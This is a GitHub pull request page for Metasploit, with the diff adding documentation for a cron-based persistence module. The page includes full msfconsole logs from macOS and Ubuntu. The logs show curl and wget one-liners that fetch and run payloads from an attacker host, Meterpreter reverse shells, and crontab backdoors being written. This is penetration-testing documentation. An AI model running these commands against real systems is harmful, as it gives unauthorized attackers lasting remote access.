Skip to content

update cron to persistence mixin #20508

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open

update cron to persistence mixin #20508

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
3 commits
Select commit Hold shift + click to select a range
785397b
cron to multi with persistence mixin
h00die Sep 2, 2025
9e461ea
switch to attck ref
h00die Sep 2, 2025
e79c10a
cron updated with mixin udpates
h00die Sep 9, 2025
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
144 changes: 0 additions & 144 deletions documentation/modules/exploit/linux/local/cron_persistence.md
View file
Open in desktop

This file was deleted.

213 changes: 213 additions & 0 deletions documentation/modules/exploit/multi/persistence/cron.md
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,213 @@
## Vulnerable Application

This module will create a cron or crontab entry to execute a payload.
The module includes the ability to automatically clean up those entries to prevent multiple executions.
syslog will get a copy of the cron entry.

Verified on Ubuntu 22.04.1, MacOS 13.7.4

## Verification Steps

1. Start msfconsole
2. Exploit a box via whatever method
3. Do: `use exploit/multi/persistence/cron`
4. Do: `set session #`
5. Do: `set target #`
6. Optional Do: `set username` (depends on target selection)
7. Do: `exploit`

## Options

### USERNAME

Set a specific user's crontab if target 'User Crontab' is selected

### TIMING

Set cron's timing. Default is to run within a minute. Defaults to `* * * * *`

### PAYLOAD_NAME

If using a non-cmd/fetch payload, the name of the payload file. Defaults to random.

## Scenarios

### MacOS 13.7.4

Initial access via web delivery

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 8
target => 8
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit
[-] Msf::OptionValidateError One or more options failed to validate: LHOST.
[*] Exploit completed, but no session was created.
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 111.111.1.111
lhost => 111.111.1.111
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 0.0.0.0:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
curl -sk --output 4aJvtPCb http://111.111.1.111:8181/l; chmod +x 4aJvtPCb; ./4aJvtPCb& disown
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (815032 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 172.17.0.3:49171) at 2025-02-17 17:14:43 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/Users/macos) > sysinfo
Computer : 20.20.20.21
OS : macOS Ventura (macOS 13.7.4)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
(Meterpreter 1)(/Users/macos) > getuid
Server username: macos
(Meterpreter 1)(/Users/macos) > background
[*] Backgrounding session 1...
```

Due to networking issues, persistence payload is a cmd to touch a file.

```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/cron
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set target 2
target => 2
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set payload payload/osx/x64/exec
payload => osx/x64/exec
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set cmd "/usr/bin/touch /Users/macos/executed_demo"
cmd => /usr/bin/touch /Users/macos/executed_demo
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set AllowNoCleanup true
AllowNoCleanup => true
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set user macos
user => macos
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set writabledir /Users/macos
writabledir => /Users/macos
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) >
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] Writing backdoor to /Users/macos/nGnXw
[*] Writing '/Users/macos/nGnXw' (17204 bytes) ...
[*] Utilizing crontab since we can't write to /var/at/tabs/
[+] Payload will be triggered when cron time is reached
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/Users/macos) > ls
Listing: /Users/macos
=====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100400/r-------- 7 fil 2025-02-17 09:22:02 -0500 .CFUserTextEncoding
040700/rwx------ 64 dir 2025-02-17 09:23:29 -0500 .Trash
100600/rw------- 4057 fil 2025-02-17 12:46:46 -0500 .viminfo
100600/rw------- 1291 fil 2025-02-17 17:11:33 -0500 .zsh_history
040700/rwx------ 256 dir 2025-02-17 17:11:33 -0500 .zsh_sessions
100755/rwxr-xr-x 815032 fil 2025-02-17 12:23:58 -0500 2gXD9pz
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Desktop
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Documents
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Downloads
040700/rwx------ 2464 dir 2025-02-17 11:17:13 -0500 Library
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Movies
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Music
040700/rwx------ 128 dir 2025-02-17 11:14:18 -0500 Pictures
040755/rwxr-xr-x 128 dir 2025-02-17 09:21:18 -0500 Public
100644/rw-r--r-- 0 fil 2025-02-17 17:19:00 -0500 executed_demo
100700/rwx------ 17204 fil 2025-02-17 17:18:27 -0500 nGnXw
```

### Ubuntu 22.04.1

Initial access via web delivery

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO xKgxaWNl --no-check-certificate http://111.111.1.111:8181/l; chmod +x xKgxaWNl; ./xKgxaWNl& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:47100) at 2025-02-17 17:36:07 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/home/ubuntu) > getuid
Server username: ubuntu
(Meterpreter 1)(/home/ubuntu) > sysinfo
Computer : 222.222.2.22
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/home/ubuntu) > background
[*] Backgrounding session 1...
```

Persistence

```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/cron
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > rexploit
[*] Reloading module...
[*] Command to run on remote host: curl -so ./yMuAETldii http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./yMuAETldii;./yMuAETldii&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] Utilizing crontab since we can't write to /var/spool/cron/crontabs
[+] Payload will be triggered when cron time is reached
[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.22 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:43108) at 2025-02-17 17:38:02 -0500
[msf](Jobs:2 Agents:2) exploit(multi/persistence/cron) >
```
Loading